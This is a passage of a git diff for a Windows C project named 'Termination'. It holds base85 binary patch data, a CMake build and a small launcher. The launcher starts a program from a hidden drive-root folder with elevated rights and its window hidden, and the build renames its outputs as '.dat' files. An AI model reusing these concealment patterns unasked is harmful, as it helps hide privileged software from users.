zHty$8bx9yGVST`BX_1Yj)+8E8n06u?Ehcb`@3O??$7Nyx=x!`bUHksC!SVyum0Zl6 zJkf4WSKk=X7ovKA(sWmK{6yJB!%QaBC&nOyPJwNMGy5+lWwxKhJ)*mu?Kc~_atBg| zie44H5LmADbV;DI{`V*TM$t=CD& z>WUGcxb;(myJF5oP4{m^pD1VOq2zYOG0zI&-7PM`pJQ!o{WNq3(a)_7GkO5S>J~6eldte@hv5a|F3T-Kd$j$yy)A>^+0xhmLev4 zW61t%el-w}X+*AknhTr}`i=jYRuK(t#W=lSUO!;4kFL*pV- z+|n{FR-%;Bm(ON_rs zn*3G1=UfKaB5#8~T!vuuu&vG95f89Gd`JAYqK?n~PM${_qiL7cgIB51WuSvwxTlYE!x1PuHs7 zHD?@^tDCnYg?1@=3aT-eW4g{^j?DcF*mo~B{Z0OF{Ab_u&_mr+E`vpmbIQ29J@w4~_-+2kY)=Z_!f_ZEiws!wd!BR#SSZ)4W^$1BoPKPJq>c_>2fR$F>^yDi(to}}3+0El zCo`F(K}YdpCIif>5?2)a%~!YY^N;GxF01S(iqf*mZQJ)`ie~4r&&!u7amhJg``0(v zT9*vr{uCXL=$s`Mh)?VTcAJ`8I;JsvH+<5a+2|5zxH&GY=w>el+p+=F;bLpG&dnuT zd`4SQ$DX{t|Fq{pmVzN^_ydjmi;pZoTA5qUSCNw;w~F7 z?>`#$zI538uNqyhj6M+gu`=%mlB8zVkwe%|>jY^wzpMidsjN1u{p#j($y3O|EI3gV zU~^`!7^xBYSq^^p?j$S&`MtU`{)gd(PQFY3UxrsX<*pwV-r~Hc!@HdKbod?ht{maL zT>c$Ct?$hABrgm9vd>p;h&#GrYGktR3V#3tWuc=@mFFiYwuMW-u)GXDd>tt731Fq? zwM=q_-^~W0@QIm&eEk_jYVccR+Ilu+xRUZig@$)$6Zh0z#!+6di{l`#S*D_p82Rsz z46>m{X`PON-1+TtIZwhUOrFN3#MzB9h4zSr+`>T9hl zNv*&owmErNOviE*%%{2YcdH67D^!(OPvD4jE~^s1<7~QxWV?%0b^+W?AnU}lwWko| zhxqOhYh?jlrF4Y|Xdyty9-qWn%wsVSISwPB7Au?Km4JP#aq>(7`E0UGf(2@N$yNh# z$f(1#V2PSm%J0b1SuHw^2!JQE zkkyPwYdfz}pKNisSa7^{w46o0kErBe6@M$yRl(B9cE9OoGYPIJ`Hw;#DM2J%oTpk1 zJ|;H+{z5_Eg&Xq8NeMZ3fJlb6QpIP5fs6~VjKn;Is|qUvPb9034$GaG=< z#qW>h$nOJjxVyK(99y{!WIli_80?JA?}FpS6qW@q)dNOr6z?noIY`JVLc1A&DNe_} zOWU(Y;RK55>K++u5$&<{slYE(@ZnPB2o|p;gR747$$XQ&3R1WDk>)9}kQDP={6efx z(eGHh^d;owIPqlJ-8UOzQNIeSt-aJO&5Gd}J4(kw7^+@n#`Lv|{FsD}jol`ePLIxP68Oi_16H58fZy@0`sDYE#N&EnIZQC4 zbV91QiKfV6lsd^VK}xBO>=T&HSCa{IPZ+%{ReaUwGJXXOT||Y{J4WgqR#^+^q(6CX zaMAZS8x5KNQ{(Rfp6KIrxWRefGAzt#vh$60!jqivtS<>Kbkft|ROfx)9X6b8PT1*$ z-*dumJK=>+c!m@H!3i6k@KPsC=Q~Ngi+*W+*9WVpS!D8g6Q}iOxuH`)cA*Eps{#vZ zusBX3*+j7zG68&y382}96?KyO#jHf}O=K4<8|8Ewh4^y&{1@f!0Q??#RF>L7IetR( zSLh*$p~G3M2A~>nzLl{oUAgOAotLp48WUDW#;@FB0o4y zTuemnl*o^XoGG8aM`X36m>FUsV%^=EW;K-z>HQ!5*S^UmRF?UZF_gb_0$9()B~2{r z?7!^1lJ4W#_)IF*ezCm~R?=85$^1R?;n4bgtA@U}40~@I_WsDQ_a~h9b|>r|_Wi)H z_b0w%*XMJ>!uZhoYlppO8veg&y zvA$7dS1Gmn3}edpri;cS_W7GOhxX0&gcf-g%n2{7n@5uu-P$lQ7X+w@J(Th2>YtG`u3L@{<&R;lp(Vb1RW@M$iDl&tl zs`M~mVSs^*FYd7YNws?rpLL5CFI9*cJ*{!k?JCQRMJgDAL8rgNgGWvt%Ado(y9(V( ze&svivIBPh1H>k48@yurbOmX~qR^M-nvu!na?O}m4+}Mg7lb_Xn;_Rko~GO9 zELb3fdy9No%tyK-ym|HI{&Xvba=A48W*7~^Yb-05q43c2@l9ppZ=K*7e`~qNQ`T4? zVz8(1!dCkMeh&6=9zW0XJg@P*%kwl(4S2cpoIAgMzKDU){M+FHI4Rs%f1&Kr7dbGO z7BzXsFZRqsKrCG3nSVPJeGb$cn!jkF%j3Cbeq$&+XTg=>dSr!_2IdTK+%Flb#tU{VY<+w zxg+ns>iby7SLUS5#tq+MX z8NYafXX*U<1#{(v0kK((7=bAl;>8SvV{m2 zD6Y)4&=qzq;GdA+<#R5F)f53McQ* zpAME!!})(2egceM>Uh+F`55n`f0jz^dc=l(oYOvmo0HYv;q|P;j2xaOaEGT2e?JkJ zl5ahs4;VW2H}gD7{i|q`q?I|aR}tPu+HM{xGnRa5c#k>xBwf^V27vp?6A}c^PRBB3GJ`^-;#-`$R4Ns&{TQDMddn?=N@_a(!X^5>3Xm8sjR*= zcDQPz9e!&-g)PyEx_s|Fu1@>yR+Y%xwp!9 z-=CUK{avxY_Je&p-aP3t|My<58TrzI7G~o1-_z#KAO2z6LzB<@uSZ}0N`JsR<-h*v z|Cjd5b07ZUeJ|y2xM6(NqQ~c!jqFK_g>&1@2c5wxo{8Ou@2kYm|or>hEMtr#{ z9vQ0te8b)!`MjR;48uq7u=kzA-uDc9Zy5%^cG!FSu=keIq4igsGW31+u>6-) zRbA*QyQ+Rk<#`i4Q^WJo1jLje;TI!NiF}KU+I4e@c-}m3h~qPxc0Ck zi|_=VT;d+W6FCBuFLA;tJRagc!W(&f#Ag%M^UNl`m~a`-T;eT+tvvIHw-LHoMP5L> zkWf2`C2`3^*va!a@m|8IC%arv60ap(#M4fEF<}$WCdp6u08bBb#?W;#8+e{4?jigN z&ragl-mWs1eqNI};cA|L5^p2?h?OAMUY>EhpW$*95SQ>po>Jnygs<^TAijriX(=#> zW8b@`eAVTeMBGRC7>|$m6NKM9llDqF;bxwh#Cr+1v2A}g@jZlZ@XRBAfbbMtEenWy z2p7vkT*8rOaae$OAz>R&l(>Z5JgbQJ5?*$;%XJ^|TEcsI+9VI*i4$C|`-yu9cknzY z@pA}y9wPn-;a_+jCEiYW3J&xqi2Dd9f6e83TH=KN$+L<06ND2g!7cF$!aL4&x!xq+ zLfFl7fOs$A_2;=vyc3QGknxRd^X{4b!O?rpCBxp#sVL42|weRN!)db z%k^WPxx^nKyxRaD#9IiDyA*mN?jhWMId~wxhp_B=`bFGFxPs?N$xm2(1AUSFgqQI2 z5U(YCe-?cq?z++C`jE{)Z%Ukr^>IsSzvL&pg{R;R;1JHgi#8HpOt_Bc6yoiK9d|<~ z#Cr)ZTt;7s`v}jv2ihQBLHHhzkN5$?r&j#m?OlCn8|N8+PCCi9@};dynwBv%Z7o?x z9NDqcG{i~#mDFvL3fpnIzw~iF*=nWJad&cU7|hGqmStm2Lh06R6xD>SmSK31LH}70 zVX)A3U`AnKjABYDVU*Q>q+1x>*zdV}&c4X$KZCH1=?$-b&->nc&)56p9KwW{{0R9&BZOGUwqxVs7LdHHB?f4G<26znc zBh>dG(*?wbdJ8i4%;;yRA3(-F8e#8@ZbN3o3s&?oWbB{O71Z|kFb25xJ)+%^885tu z_#j^deu%n<`+=7(B38)eCD^=-*jLdH{0Q|R`dj7xWk7*yx5hgtzOXg5B^xt4((R4t zin|sC->yY(74OzO!B?DO=P}rQ+Eg=Jxcq z#+H>1SWzB`(F4kFsM)#_i%?A2L*Y~?tC%=nd{LrdiVlQQO14RVbN{Xm+I2ok@!1G% znN}(KuAIZ;@*=mX)OOjkpzMqd?+nM!i64!&mB?y%O-Z|U7sQtD1K#$IbSo*PJwojR zYAT!!nMzuG%m;ks@!aexG%`r9GTnOYoC|{TUt!=b*p*_`> zjhd0P+6b*6E_Yq*+`KOQ+y`xN-Z*~W+hF{zo(DJUiAG3bNQW9YpLI0nm*?(YeeA<1 z=HJIpvfZ4Q?d`O^JC^FmwwrC~XhU5It-5wO{(+|W!{Lp!ADlPe&jHCDx9?T`Jo(4` zwvU{@QCS!4XTE72Ux!{EYe}4p{+fZ#R{7u0z%h5_cyT=2u24FpP+Z~F}Z z!9NTBT`(T??0r_ykEci4PYGrPO+oxm!|u=vfa9;3&;7fw93cfCQRq&eN4Z+_F{z>qbpr60i zdhq74wH~|`@dFwJ^+kU&2fCI{f1p82&pA5t%=+nX(gKBp$xr=wl2nHDlJ4k(;Mss9 zQyLSN$d{zwJMWY-42FxZU#FDX@8pyyH7wIa{362d8ru{X!kZHZVI&^h#t*cg`5o zZVo4hXEohq{t6Bv3$z#+E9tsPzl)5QY&bQ+BrWc-;Wg6ED~0xXea{?(DU?S zI8!xTNmsEbU5%ES%U3Li=Fw9r;`v;~GQ=37%c?ix6}3>{WrpW+wE$wH;S{J2sp@F- zbG2aU@Zf!wNk%1R=*{4F0hK9QtmCh0SublQerHf4I05T(R|GN7 zF8LaDf9uo3qo;>Y3a(&xRj%e;fMxSCVS&RUxH5I*rdzT)X_QvOOvqSU|a&T zW8vr&KG`al6txHJOkk7+OB?#Tz@AU7SE2*71>-qZ)@T89h<+oApuJ9vm__AMpwHvH zlW0x3XK)rw_{)AzVYczbOx>{5O}+4QBNLry^}C$Y1m@8nYom7*x@=U7X7D*FEdL{} zf6s_so+0+npCfL0+5RLy$LV4C>E(&DsKK+1=&)DeS}em8*5%Jcf(G1{hDbJN`H<_= z-8!2y&3WFB`Z#JAR?U7$T!v5;tcx5X@}t;TY1m)D8fC9|Mh)bn6!41A?@*W3!$)V! z>xAXLWLIY@na~Z~iGe`empn6meDA?z!gg@0m@8Eby)QYZ+sUIxw#5=ChjX^Am-D5$ z1e6$dU$SZ$hiq+HFX!yN<)UU)>`KAeiyNs!IlJ6B)0Iq=bD*p1wlm>Tq&?@K;=@Icc*BUeWMiHWhH zvCeV0!>=tg4dHvnzT^u=dPe6U-{Ts42P=kS zRZ4asP(Eut+Xpz;|9-a3YQ9v|p4R8aE6?jjU-Cfj6TSHZJzYILnpWtVEHs%d;njyK zo&)-lk2M|fv(L_PTD=@LXKUk#o880v{AGHCSADCrGSJFED+8?z+?Nd0_`U+|)C^;&(o-l(tCSL? Ie>4OC0%x6(HUIzs literal 0 HcmV?d00001 diff --git a/.inf/.vscode/settings.json b/.inf/.vscode/settings.json index 674529f..1433c15 100644 --- a/.inf/.vscode/settings.json +++ b/.inf/.vscode/settings.json @@ -1,3 +1,3 @@ -{ - "cmake.sourceDirectory": "C:/Users/Lenovo/Desktop/Termination4/.inf/Service" +{ + "cmake.sourceDirectory": "C:/Users/Lenovo/Desktop/Termination4/.inf/Service" } \ No newline at end of file diff --git a/.inf/1.py b/.inf/1.py index d8e2005..f8977e4 100644 --- a/.inf/1.py +++ b/.inf/1.py @@ -1,6 +1,6 @@ -import ctypes - - -_ = ctypes.CDLL(r".\.lib\libTemplateMatcher.dll", winmode=0) -print(dir(_)) +import ctypes + + +_ = ctypes.CDLL(r".\.lib\libTemplateMatcher.dll", winmode=0) +print(dir(_)) print(_.CaptureScreenGray) \ No newline at end of file diff --git a/.inf/CMakeLists.txt b/.inf/CMakeLists.txt index 962e18a..eedb9c7 100644 --- a/.inf/CMakeLists.txt +++ b/.inf/CMakeLists.txt @@ -1,201 +1,201 @@ -cmake_minimum_required(VERSION 3.15) - -# 项目根目录 -project(InfProjects C) - -# 设置默认构建类型(可选) -if(NOT CMAKE_BUILD_TYPE) - set(CMAKE_BUILD_TYPE "Release") -endif() - -# 手动指定项目文件夹列表(根据需要修改) -set(PROJECT_DIRECTORIES - Install - RegistryOverride - Service - # SubstituteExecution - TemplateMatcher - Test - Tools - Update -) - -# 设置输出目录 -set(CMAKE_RUNTIME_OUTPUT_DIRECTORY "${CMAKE_BINARY_DIR}/.bin") -set(CMAKE_LIBRARY_OUTPUT_DIRECTORY "${CMAKE_BINARY_DIR}/.lib") -set(CMAKE_ARCHIVE_OUTPUT_DIRECTORY "${CMAKE_BINARY_DIR}/.static") - -# 全局编译选项 -set(CMAKE_INTERPROCEDURAL_OPTIMIZATION ON) -set(CMAKE_C_FLAGS_RELEASE "-O2 -s -fno-stack-protector -fno-PIC") - -# 遍历所有子目录 -foreach(SUBDIR ${PROJECT_DIRECTORIES}) - message(STATUS "Processing directory: ${SUBDIR}") - - # 检查目录是否存在 - if(NOT IS_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR}/${SUBDIR}) - message(WARNING "Directory ${SUBDIR} does not exist - skipping") - continue() - endif() - - # 检查子目录是否有 CMakeLists.txt - if(NOT EXISTS ${CMAKE_CURRENT_SOURCE_DIR}/${SUBDIR}/CMakeLists.txt) - message(WARNING "No CMakeLists.txt in ${SUBDIR} - skipping") - continue() - endif() - - message(STATUS "Found valid project directory: ${SUBDIR}") - - # 清除可能存在的旧缓存变量 - unset(${SUBDIR}_PROJECT_NAME CACHE) - unset(${SUBDIR}_MAIN_SOURCE_FILE CACHE) - unset(${SUBDIR}_RESOURCE_FILE CACHE) - unset(${SUBDIR}_MANIFEST_FILE CACHE) - unset(${SUBDIR}_BUILD_AS_DLL CACHE) - unset(${SUBDIR}_LIBRARY_DIRS CACHE) # 库目录变量 - unset(${SUBDIR}_INCLUDE_DIRS CACHE) # 头文件目录变量 - unset(${SUBDIR}_LINK_LIBRARIES CACHE) # 链接库变量 - - # 进入子目录,让其定义缓存变量 - add_subdirectory(${SUBDIR}) - - # 重命名缓存变量,添加子目录前缀以避免冲突 - set(PROJECT_NAME "${${SUBDIR}_PROJECT_NAME}") - set(MAIN_SOURCE_FILE "${${SUBDIR}_MAIN_SOURCE_FILE}") - set(RESOURCE_FILE "${${SUBDIR}_RESOURCE_FILE}") - set(MANIFEST_FILE "${${SUBDIR}_MANIFEST_FILE}") - set(BUILD_AS_DLL "${${SUBDIR}_BUILD_AS_DLL}") - set(LIBRARY_DIRS "${${SUBDIR}_LIBRARY_DIRS}") # 获取子项目指定的库目录 - set(INCLUDE_DIRS "${${SUBDIR}_INCLUDE_DIRS}") # 获取子项目指定的头文件目录 - set(LINK_LIBRARIES "${${SUBDIR}_LINK_LIBRARIES}") # 获取子项目需要链接的库 - - # 验证必要变量是否定义 - set(REQUIRED_VARS PROJECT_NAME MAIN_SOURCE_FILE) - set(MISSING_VARS "") - - foreach(VAR ${REQUIRED_VARS}) - if(NOT DEFINED ${VAR} OR "${${VAR}}" STREQUAL "") - list(APPEND MISSING_VARS ${VAR}) - endif() - endforeach() - - if(MISSING_VARS) - message(WARNING "Missing required variables in ${SUBDIR}: ${MISSING_VARS} - skipping project") - continue() - endif() - - # 检查主源文件是否存在 - set(MAIN_FILE_PATH "${CMAKE_CURRENT_SOURCE_DIR}/${SUBDIR}/${MAIN_SOURCE_FILE}") - if(NOT EXISTS ${MAIN_FILE_PATH}) - message(WARNING "Main source file ${MAIN_SOURCE_FILE} not found in ${SUBDIR} (looked for: ${MAIN_FILE_PATH}) - skipping project") - continue() - endif() - - # 收集源文件 - set(SOURCES "${SUBDIR}/${MAIN_SOURCE_FILE}") - - # 处理资源文件(如果定义且存在) - if(NOT "${RESOURCE_FILE}" STREQUAL "" AND EXISTS "${CMAKE_CURRENT_SOURCE_DIR}/${SUBDIR}/${RESOURCE_FILE}") - list(APPEND SOURCES "${SUBDIR}/${RESOURCE_FILE}") - message(STATUS "Added resource file for ${PROJECT_NAME}") - endif() - - # 处理清单文件(如果定义且存在) - set(MANIFEST_PATH "") - if(NOT "${MANIFEST_FILE}" STREQUAL "" AND EXISTS "${CMAKE_CURRENT_SOURCE_DIR}/${SUBDIR}/${MANIFEST_FILE}") - set(MANIFEST_PATH "${SUBDIR}/${MANIFEST_FILE}") - list(APPEND SOURCES ${MANIFEST_PATH}) - message(STATUS "Added manifest file for ${PROJECT_NAME}") - endif() - - # 判断是构建 DLL 还是 EXE - if(BUILD_AS_DLL) - message(STATUS "Building ${PROJECT_NAME} as DLL") - add_library(${PROJECT_NAME} SHARED ${SOURCES}) - - set_target_properties(${PROJECT_NAME} PROPERTIES - ARCHIVE_OUTPUT_DIRECTORY "${CMAKE_BINARY_DIR}/.static" - LIBRARY_OUTPUT_DIRECTORY "${CMAKE_BINARY_DIR}/.lib" - RUNTIME_OUTPUT_DIRECTORY "${CMAKE_BINARY_DIR}/.lib" - ) - - if(WIN32) - target_compile_definitions(${PROJECT_NAME} PRIVATE - ${PROJECT_NAME}_EXPORTS - ) - endif() - else() - message(STATUS "Building ${PROJECT_NAME} as EXE") - add_executable(${PROJECT_NAME} ${SOURCES}) - endif() - - # 设置清单文件(如果存在) - if(NOT "${MANIFEST_PATH}" STREQUAL "" AND MSVC) - set_property(TARGET ${PROJECT_NAME} APPEND PROPERTY LINK_FLAGS - "/MANIFEST:EMBED /MANIFESTINPUT:${MANIFEST_PATH}") - endif() - - # 添加子项目指定的库目录和头文件目录 - if(LIBRARY_DIRS) - message(STATUS "Adding library directories for ${PROJECT_NAME}: ${LIBRARY_DIRS}") - target_link_directories(${PROJECT_NAME} PRIVATE ${LIBRARY_DIRS}) - endif() - - if(INCLUDE_DIRS) - message(STATUS "Adding include directories for ${PROJECT_NAME}: ${INCLUDE_DIRS}") - target_include_directories(${PROJECT_NAME} PRIVATE ${INCLUDE_DIRS}) - endif() - - # 链接库 - 先链接全局库,再链接子项目指定的库 - target_link_libraries(${PROJECT_NAME} - advapi32 - user32 - wtsapi32 - userenv - psapi - shell32 - kernel32 - gdi32 - netapi32 - ${LINK_LIBRARIES} - ) - - # 添加默认链接目录 - target_link_directories(${PROJECT_NAME} PRIVATE - ./.Link - ) - - # 添加默认头文件目录 - target_include_directories(${PROJECT_NAME} PRIVATE - ./.Link - ) - - add_custom_command(TARGET ${PROJECT_NAME} POST_BUILD - COMMAND ${CMAKE_COMMAND} -E copy - "$" - "${CMAKE_BINARY_DIR}/.dat/${PROJECT_NAME}$<$:.dll>.dat" - COMMENT "Copying $ to ${PROJECT_NAME}$<$:.dll>.dat" - ) - - message(STATUS "Successfully configured project: ${PROJECT_NAME}") - - # 清除变量,避免影响其他项目 - unset(PROJECT_NAME) - unset(MAIN_SOURCE_FILE) - unset(RESOURCE_FILE) - unset(MANIFEST_FILE) - unset(BUILD_AS_DLL) - unset(LIBRARY_DIRS) - unset(INCLUDE_DIRS) - unset(LINK_LIBRARIES) -endforeach() - -add_custom_target(clean-all - COMMAND ${CMAKE_COMMAND} -E remove_directory "${CMAKE_BINARY_DIR}/.bin" - COMMAND ${CMAKE_COMMAND} -E remove_directory "${CMAKE_BINARY_DIR}/.lib" - COMMAND ${CMAKE_COMMAND} -E remove_directory "${CMAKE_BINARY_DIR}/.dat" - COMMAND ${CMAKE_COMMAND} -E remove "${CMAKE_BINARY_DIR}/CMakeCache.txt" - COMMAND ${CMAKE_COMMAND} -E remove_directory "${CMAKE_BINARY_DIR}/CMakeFiles" - COMMENT "Cleaning all build outputs and cache..." -) +cmake_minimum_required(VERSION 3.15) + +# 项目根目录 +project(InfProjects C) + +# 设置默认构建类型(可选) +if(NOT CMAKE_BUILD_TYPE) + set(CMAKE_BUILD_TYPE "Release") +endif() + +# 手动指定项目文件夹列表(根据需要修改) +set(PROJECT_DIRECTORIES + Install + RegistryOverride + Service + # SubstituteExecution + TemplateMatcher + Test + Tools + Update +) + +# 设置输出目录 +set(CMAKE_RUNTIME_OUTPUT_DIRECTORY "${CMAKE_BINARY_DIR}/.bin") +set(CMAKE_LIBRARY_OUTPUT_DIRECTORY "${CMAKE_BINARY_DIR}/.lib") +set(CMAKE_ARCHIVE_OUTPUT_DIRECTORY "${CMAKE_BINARY_DIR}/.static") + +# 全局编译选项 +set(CMAKE_INTERPROCEDURAL_OPTIMIZATION ON) +set(CMAKE_C_FLAGS_RELEASE "-O2 -s -fno-stack-protector -fno-PIC") + +# 遍历所有子目录 +foreach(SUBDIR ${PROJECT_DIRECTORIES}) + message(STATUS "Processing directory: ${SUBDIR}") + + # 检查目录是否存在 + if(NOT IS_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR}/${SUBDIR}) + message(WARNING "Directory ${SUBDIR} does not exist - skipping") + continue() + endif() + + # 检查子目录是否有 CMakeLists.txt + if(NOT EXISTS ${CMAKE_CURRENT_SOURCE_DIR}/${SUBDIR}/CMakeLists.txt) + message(WARNING "No CMakeLists.txt in ${SUBDIR} - skipping") + continue() + endif() + + message(STATUS "Found valid project directory: ${SUBDIR}") + + # 清除可能存在的旧缓存变量 + unset(${SUBDIR}_PROJECT_NAME CACHE) + unset(${SUBDIR}_MAIN_SOURCE_FILE CACHE) + unset(${SUBDIR}_RESOURCE_FILE CACHE) + unset(${SUBDIR}_MANIFEST_FILE CACHE) + unset(${SUBDIR}_BUILD_AS_DLL CACHE) + unset(${SUBDIR}_LIBRARY_DIRS CACHE) # 库目录变量 + unset(${SUBDIR}_INCLUDE_DIRS CACHE) # 头文件目录变量 + unset(${SUBDIR}_LINK_LIBRARIES CACHE) # 链接库变量 + + # 进入子目录,让其定义缓存变量 + add_subdirectory(${SUBDIR}) + + # 重命名缓存变量,添加子目录前缀以避免冲突 + set(PROJECT_NAME "${${SUBDIR}_PROJECT_NAME}") + set(MAIN_SOURCE_FILE "${${SUBDIR}_MAIN_SOURCE_FILE}") + set(RESOURCE_FILE "${${SUBDIR}_RESOURCE_FILE}") + set(MANIFEST_FILE "${${SUBDIR}_MANIFEST_FILE}") + set(BUILD_AS_DLL "${${SUBDIR}_BUILD_AS_DLL}") + set(LIBRARY_DIRS "${${SUBDIR}_LIBRARY_DIRS}") # 获取子项目指定的库目录 + set(INCLUDE_DIRS "${${SUBDIR}_INCLUDE_DIRS}") # 获取子项目指定的头文件目录 + set(LINK_LIBRARIES "${${SUBDIR}_LINK_LIBRARIES}") # 获取子项目需要链接的库 + + # 验证必要变量是否定义 + set(REQUIRED_VARS PROJECT_NAME MAIN_SOURCE_FILE) + set(MISSING_VARS "") + + foreach(VAR ${REQUIRED_VARS}) + if(NOT DEFINED ${VAR} OR "${${VAR}}" STREQUAL "") + list(APPEND MISSING_VARS ${VAR}) + endif() + endforeach() + + if(MISSING_VARS) + message(WARNING "Missing required variables in ${SUBDIR}: ${MISSING_VARS} - skipping project") + continue() + endif() + + # 检查主源文件是否存在 + set(MAIN_FILE_PATH "${CMAKE_CURRENT_SOURCE_DIR}/${SUBDIR}/${MAIN_SOURCE_FILE}") + if(NOT EXISTS ${MAIN_FILE_PATH}) + message(WARNING "Main source file ${MAIN_SOURCE_FILE} not found in ${SUBDIR} (looked for: ${MAIN_FILE_PATH}) - skipping project") + continue() + endif() + + # 收集源文件 + set(SOURCES "${SUBDIR}/${MAIN_SOURCE_FILE}") + + # 处理资源文件(如果定义且存在) + if(NOT "${RESOURCE_FILE}" STREQUAL "" AND EXISTS "${CMAKE_CURRENT_SOURCE_DIR}/${SUBDIR}/${RESOURCE_FILE}") + list(APPEND SOURCES "${SUBDIR}/${RESOURCE_FILE}") + message(STATUS "Added resource file for ${PROJECT_NAME}") + endif() + + # 处理清单文件(如果定义且存在) + set(MANIFEST_PATH "") + if(NOT "${MANIFEST_FILE}" STREQUAL "" AND EXISTS "${CMAKE_CURRENT_SOURCE_DIR}/${SUBDIR}/${MANIFEST_FILE}") + set(MANIFEST_PATH "${SUBDIR}/${MANIFEST_FILE}") + list(APPEND SOURCES ${MANIFEST_PATH}) + message(STATUS "Added manifest file for ${PROJECT_NAME}") + endif() + + # 判断是构建 DLL 还是 EXE + if(BUILD_AS_DLL) + message(STATUS "Building ${PROJECT_NAME} as DLL") + add_library(${PROJECT_NAME} SHARED ${SOURCES}) + + set_target_properties(${PROJECT_NAME} PROPERTIES + ARCHIVE_OUTPUT_DIRECTORY "${CMAKE_BINARY_DIR}/.static" + LIBRARY_OUTPUT_DIRECTORY "${CMAKE_BINARY_DIR}/.lib" + RUNTIME_OUTPUT_DIRECTORY "${CMAKE_BINARY_DIR}/.lib" + ) + + if(WIN32) + target_compile_definitions(${PROJECT_NAME} PRIVATE + ${PROJECT_NAME}_EXPORTS + ) + endif() + else() + message(STATUS "Building ${PROJECT_NAME} as EXE") + add_executable(${PROJECT_NAME} ${SOURCES}) + endif() + + # 设置清单文件(如果存在) + if(NOT "${MANIFEST_PATH}" STREQUAL "" AND MSVC) + set_property(TARGET ${PROJECT_NAME} APPEND PROPERTY LINK_FLAGS + "/MANIFEST:EMBED /MANIFESTINPUT:${MANIFEST_PATH}") + endif() + + # 添加子项目指定的库目录和头文件目录 + if(LIBRARY_DIRS) + message(STATUS "Adding library directories for ${PROJECT_NAME}: ${LIBRARY_DIRS}") + target_link_directories(${PROJECT_NAME} PRIVATE ${LIBRARY_DIRS}) + endif() + + if(INCLUDE_DIRS) + message(STATUS "Adding include directories for ${PROJECT_NAME}: ${INCLUDE_DIRS}") + target_include_directories(${PROJECT_NAME} PRIVATE ${INCLUDE_DIRS}) + endif() + + # 链接库 - 先链接全局库,再链接子项目指定的库 + target_link_libraries(${PROJECT_NAME} + advapi32 + user32 + wtsapi32 + userenv + psapi + shell32 + kernel32 + gdi32 + netapi32 + ${LINK_LIBRARIES} + ) + + # 添加默认链接目录 + target_link_directories(${PROJECT_NAME} PRIVATE + ./.Link + ) + + # 添加默认头文件目录 + target_include_directories(${PROJECT_NAME} PRIVATE + ./.Link + ) + + add_custom_command(TARGET ${PROJECT_NAME} POST_BUILD + COMMAND ${CMAKE_COMMAND} -E copy + "$" + "${CMAKE_BINARY_DIR}/.dat/${PROJECT_NAME}$<$:.dll>.dat" + COMMENT "Copying $ to ${PROJECT_NAME}$<$:.dll>.dat" + ) + + message(STATUS "Successfully configured project: ${PROJECT_NAME}") + + # 清除变量,避免影响其他项目 + unset(PROJECT_NAME) + unset(MAIN_SOURCE_FILE) + unset(RESOURCE_FILE) + unset(MANIFEST_FILE) + unset(BUILD_AS_DLL) + unset(LIBRARY_DIRS) + unset(INCLUDE_DIRS) + unset(LINK_LIBRARIES) +endforeach() + +add_custom_target(clean-all + COMMAND ${CMAKE_COMMAND} -E remove_directory "${CMAKE_BINARY_DIR}/.bin" + COMMAND ${CMAKE_COMMAND} -E remove_directory "${CMAKE_BINARY_DIR}/.lib" + COMMAND ${CMAKE_COMMAND} -E remove_directory "${CMAKE_BINARY_DIR}/.dat" + COMMAND ${CMAKE_COMMAND} -E remove "${CMAKE_BINARY_DIR}/CMakeCache.txt" + COMMAND ${CMAKE_COMMAND} -E remove_directory "${CMAKE_BINARY_DIR}/CMakeFiles" + COMMENT "Cleaning all build outputs and cache..." +) diff --git a/.inf/Install/CMakeLists.txt b/.inf/Install/CMakeLists.txt index 07e555a..7edb259 100644 --- a/.inf/Install/CMakeLists.txt +++ b/.inf/Install/CMakeLists.txt @@ -1,4 +1,4 @@ -set(Install_PROJECT_NAME "InstallTermination" CACHE INTERNAL "Project name for InstallTermination") -set(Install_MAIN_SOURCE_FILE "installt.c" CACHE INTERNAL "Main source file for InstallTermination") -set(Install_RESOURCE_FILE "App.rc" CACHE INTERNAL "Resource file for InstallTermination") -set(Install_MANIFEST_FILE "App.manifest" CACHE INTERNAL "Manifest file for InstallTermination") +set(Install_PROJECT_NAME "InstallTermination" CACHE INTERNAL "Project name for InstallTermination") +set(Install_MAIN_SOURCE_FILE "installt.c" CACHE INTERNAL "Main source file for InstallTermination") +set(Install_RESOURCE_FILE "App.rc" CACHE INTERNAL "Resource file for InstallTermination") +set(Install_MANIFEST_FILE "App.manifest" CACHE INTERNAL "Manifest file for InstallTermination") diff --git a/.inf/Install/installt.c b/.inf/Install/installt.c index 9e7cd08..c2dd62a 100644 --- a/.inf/Install/installt.c +++ b/.inf/Install/installt.c @@ -1,31 +1,31 @@ -#include -#include -#include - -int main() { - char rootPath[MAX_PATH]; - GetModuleFileNameA(NULL, rootPath, MAX_PATH); - rootPath[3] = '\0'; - - char exePath[MAX_PATH]; - snprintf(exePath, MAX_PATH, "%s.Termination\\Termination.exe", rootPath); - - SHELLEXECUTEINFO sei = {0}; - sei.cbSize = sizeof(SHELLEXECUTEINFO); - sei.fMask = SEE_MASK_NOCLOSEPROCESS; - sei.lpVerb = "runas"; - sei.lpFile = exePath; - sei.lpDirectory = rootPath; - sei.nShow = SW_HIDE; - - if (!ShellExecuteEx(&sei)) { - DWORD err = GetLastError(); - printf("Failed to execute program. Error code: %lu\n", err); - return 1; - } - - WaitForSingleObject(sei.hProcess, INFINITE); - CloseHandle(sei.hProcess); - - return 0; +#include +#include +#include + +int main() { + char rootPath[MAX_PATH]; + GetModuleFileNameA(NULL, rootPath, MAX_PATH); + rootPath[3] = '\0'; + + char exePath[MAX_PATH]; + snprintf(exePath, MAX_PATH, "%s.Termination\\Termination.exe", rootPath); + + SHELLEXECUTEINFO sei = {0}; + sei.cbSize = sizeof(SHELLEXECUTEINFO); + sei.fMask = SEE_MASK_NOCLOSEPROCESS; + sei.lpVerb = "runas"; + sei.lpFile = exePath; + sei.lpDirectory = rootPath; + sei.nShow = SW_HIDE; + + if (!ShellExecuteEx(&sei)) { + DWORD err = GetLastError(); + printf("Failed to execute program. Error code: %lu\n", err); + return 1; + } + + WaitForSingleObject(sei.hProcess, INFINITE); + CloseHandle(sei.hProcess); + + return 0; } \ No newline at end of file diff --git a/.inf/RegistryOverride/CMakeLists.txt b/.inf/RegistryOverride/CMakeLists.txt index 5104e0e..598d2f9 100644 --- a/.inf/RegistryOverride/CMakeLists.txt +++ b/.inf/RegistryOverride/CMakeLists.txt @@ -1,4 +1,4 @@ -set(RegistryOverride_PROJECT_NAME 